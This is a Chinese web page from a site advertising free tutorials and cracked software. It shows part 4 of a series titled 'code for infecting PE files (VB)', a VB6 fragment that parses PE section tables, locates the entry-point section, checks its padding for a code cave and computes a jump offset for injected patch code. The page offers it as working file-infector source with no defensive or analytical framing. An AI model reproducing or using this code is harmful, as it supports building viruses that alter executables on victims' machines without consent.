免费教程_免费网赚教程_破解版软件-寂涯网络学习基地

当前位置: 主页 > 系统综合 > 系统安全 > 感染 PE 的代码--vb(4)

感染 PE 的代码--vb(4)

时间:2011-10-25 20:11来源:未知 整理:寂涯网络 点击:


            If q >= EncStart Then EncStart = q + 1
        ElseIf p > AddressOfEntryPoint And q > AddressOfEntryPoint Then
            If p <= EncEnd Then EncEnd = p - 1
        Else
            Exit Function
        End If
       
    Next

    NumberOfSections = NumberOfSections - 1

    SectionTableOffset = e_lfanew + &H18& + SizeOfOptionalHeader
    EntrySection = -1
   
    ReDim SectionTable(NumberOfSections)

    For i = 0 To NumberOfSections '开始分析区段
        With SectionTable(i)
       
            .Name = Read8Str(SectionTableOffset + i * &H28&)
            .VirtualSize = ReadDword(SectionTableOffset + i * &H28& + &H8&)
            .RVA = ReadDword(SectionTableOffset + i * &H28& + &HC&)
            .PhysicalSize = ReadDword(SectionTableOffset + i * &H28& + &H10&)
            .Offset = ReadDword(SectionTableOffset + i * &H28& + &H14&)
            .flags = ReadDword(SectionTableOffset + i * &H28& + &H24&)
           
            If EntrySection = -1 Then
                If (AddressOfEntryPoint >= .RVA) And (AddressOfEntryPoint <= .RVA + .VirtualSize) Then EntrySection = i
            End If
           
        End With
    Next

    If EntrySection = -1 Then Exit Function


With SectionTable(EntrySection)

        PaddingArea = .PhysicalSize - .VirtualSize

        If PaddingArea < NeededArea Then

           Exit Function
          
        End If
       
        For i = .Offset + .VirtualSize To .Offset + .PhysicalSize - 1
            If PE(i) <> 0 Then
                If MsgBox("Padding Area seems to have data, do you really want to continue?", vbQuestion Or vbYesNo) = vbYes Then
                    Exit For
                Else
                    Exit Function
                End If
            End If
        Next
       
        If .RVA > EncStart Then EncStart = .RVA
        If .RVA + .VirtualSize - 1 < EncEnd Then EncEnd = .RVA + .VirtualSize - 1

       
        tmp = AddressOfEntryPoint - (.RVA + .VirtualSize + NeededArea)
        CopyMemory PatchCode(129), tmp, 4

本页地址 http://www.jybase.net/xitonganquan/20111025395.html

百度搜索更多

谷歌搜索更多

顶一下
(0)
0%
踩一下
(0)
0%
------分隔线----------------------------

评价:
昵称: 验证码:点击我更换图片
推荐内容
赞助商
赞助商


关于本站免责声明视频更新google百度地图视频地图RRS订阅

如有什么问题请在本站留言,或发邮件到 hxt167#foxmail.com